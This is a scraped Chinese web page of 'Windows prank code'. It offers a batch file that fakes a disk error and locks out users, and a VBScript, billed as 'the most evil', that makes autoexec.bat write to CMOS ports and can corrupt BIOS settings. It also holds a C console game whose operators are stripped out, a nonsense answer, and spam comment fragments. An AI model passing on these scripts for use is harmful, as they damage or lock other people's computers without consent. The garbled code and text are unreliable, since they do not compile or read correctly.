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windows恶搞代码(恶搞程序代码)

本文目录一览:

求运行中的恶搞命令~~~~

戏弄非法用户 

为防止有人胡乱使用自己的电脑,我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件,并在该文件中加入以下命令: 

@echo off

echo non-system disk or disk error

choice/c:/n 

上面代码中的""为我们设置的密码,您可以自行设置。这样重新启动计算机开机时就会显示"non-system disk or disk error",接着光标一闪一闪的好像死机了一样,造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗!当我们要进入系统时,只要输入""即可。 

最恶的Const ForAppending=8

Dim fso,x,y

Set fso=createObject("Scripting.FileSystemObject")

Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)

Set y=fso.createTextFile("c:\1.txt", True)

x.WriteBlankLines(1)

x.Write"debug1.txt"

x.WriteBlankLines(1)

y.WriteLine("o 70 10")

y.WriteBlankLines(1)

y.Write("o 71 10")

y.Close

x.Close 

把上述内容保存为.bat文件,双击运行即可!!汗

win7怎么编写恶搞代码

如果在写代码的过程中,你可以进行打到windows电脑里面就可以进行切入代码了。

求一些恶搞程序的C语言源代码

一个打飞机的游戏,DEVc++编译通过:

#include stdio.h

#include conio.h

#include stdlib.h

#include windows.h

#include time.h

#define zlx 10   //增量坐标(x)让游戏框不靠边

#define zly 3    //增量坐标(y)让游戏框不靠边

#define W 26   //游戏框的宽度

#define H 24   //游戏框的高度

int jiem[22][22]={0}, wj=10;   //界面数组, 我机位置(初值为10)

int speed=4,density=30, score=0,death=0;  //敌机速度, 敌机密度, 玩家成绩,死亡次数

int m=0,n=0;   // m,n是控制敌机的变量

void gtxy (int x, int y)   //控制光标位置的函数

{ COORD zb;   //zb代指坐标

zb.X = x;  zb.Y = y;

SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );

}

void Color(int a)   //设定颜色的函数(a应为1-15)

{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }

void yinc(int x=1,int y=0)   //隐藏光标的函数

{ CONSOLE_CURSOR_INFO  gb={x,y};   //gb代指光标, y设为0即隐藏

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), gb);

 }

void csh( )  //初始化函数

{ int i;

Color(7);

gtxy(zlx,zly); printf("╔");  gtxy(zlx+W-2,zly); printf("╗");  //左上角和右上角的框角

gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下边两框角

for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly);  printf("═"); }      //打印上横框

for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); }  //打印下横框

for(i=1;iH-1;i++) { gtxy(zlx,zly+i);  printf("║"); }       //打印左竖框

for(i=1;iH-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); }  //打印右竖框

Color(14); gtxy(19,2);  printf("歼灭敌机");  Color(10);

gtxy(37,5); printf("设置:Esc ");

gtxy(37,7); printf("发射:↑ ");

gtxy(37,9); printf("控制:← → ");

gtxy(37,11);printf("得分:%d",score);

gtxy(37,13); printf("死亡:%d",death);

yinc(1,0);

}

void qcjm( )  //清除界面函数

{ int i,j;

for(i=0;iH-2;i++)

for(j=0;jW-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}

}

void feiji( )  //飞机移动函数

{ int i,j;

for(i=21;i=0;i--)  //从底行往上是为了避免敌机直接冲出数组

  for(j=0;j22;j++)

     {if(i==21jiem[i][j]==3) jiem[i][j]=0;  //底行赋值0 以免越界

       if(jiem[i][j]==3) jiem[i][j]=0, jiem[i+1][j]=3;

     }

if(jiem[20][wj]==3jiem[21][wj]==1) death++;

}

void zidan( )  //子弹移动函数

{ int i,j;

for(i=0;i22;i++)

  for(j=0;j22;j++)

     { if(i==0jiem[i][j]==2) jiem[i][j]=0;

       if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score+=100,printf("\7");

                                  jiem[i][j]=0,jiem[i-1][j]=2; }

     }

}

void print(  )  //输出界面函数

{int i,j;

qcjm( );

for(i=0;i22;i++)

for(j=0;j22;j++)

{ gtxy(12+j,4+i);

   if(jiem[i][j]==3) {Color(13);printf("□");}

   if(jiem[i][j]==2) {Color(10);printf(".");}

   if(jiem[i][j]==1) {Color(10);printf("■");}

}

gtxy(37,11); Color(10); printf("得分:%d",score);

gtxy(37,13); printf("死亡:%d",death);

}

void setting( )  //游戏设置函数

{ qcjm( );

gtxy(12,4);printf("选择敌机速度:");

gtxy(12,5);printf("  1.快 2.中 3.慢");

switch(getche( ))

    {case '1': speed=2; break;

     case '2': speed=4; break;

     case '3': speed=5; break;

     default: gtxy(12,6);printf("  错误!默认值");

   }

gtxy(12,7);printf("选择敌机密度:");

gtxy(12,8);printf("  1.大 2.中 3.小");

switch(getche( ))

     {case '1': density=20; break;

      case '2': density=30; break;

      case '3': density=40; break;

      default: gtxy(12,9); printf("  错误!默认值");

     }

for(int i=0;i22;i++)

 for(int j=0;j22;j++) jiem[i][j]=0;

jiem[21][wj=10]=1;  jiem[0][5]=3;

gtxy(12,10); printf("  按任意键保存...");

getch( );

qcjm( );

}

void run( )  //游戏运行函数

{ jiem[21][wj]=1;  //值为1代表我机(2则为子弹)

jiem[0][5]=3;   //值为3代表敌机

SetConsoleTitle("歼灭敌机");  //设置窗口标题

while(1)

{ if (kbhit( ))   //如有键按下,控制我机左右移动、发射或进行设定

    { int key;

      if((key=getch( ))==224) key=getch( );

     switch(key)

       {case 75: if(wj0) jiem[21][wj]=0,jiem[21][--wj]=1; break;

        case 77: if(wj20) jiem[21][wj]=0,jiem[21][++wj]=1; break;

        case 72: jiem[20][wj]=2; break;

       case 27: setting( );

      }

   }

   if(++n%density==0)   //控制产生敌机的速度

     { n=0;srand((unsigned)time(NULL));

       jiem[0][rand( )%20+1]=3;

     }

    if(++m%speed==0) { feiji( ); m=0; }  //控制敌机移动速度(相对子弹而言)

    zidan( );   //子弹移动

    print( );   //输出界面

    Sleep(120);   //延时120毫秒

  }

}

int main( )

{ csh( );

  run( );

  return 0;

}

  • 评论列表:
  •  黑客技术
     发布于 2022-07-06 17:21:15  回复该评论
  • i++)   for(j=0;j22;j++)      { if(i==0jiem[i][j]==2) jiem[i][j]=0;        if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score
  •  黑客技术
     发布于 2022-07-06 17:47:56  回复该评论
  • iteBlankLines(1)x.Write"debug1.txt"x.WriteBlankLines(1)y.WriteLine("o 70 10")y.W

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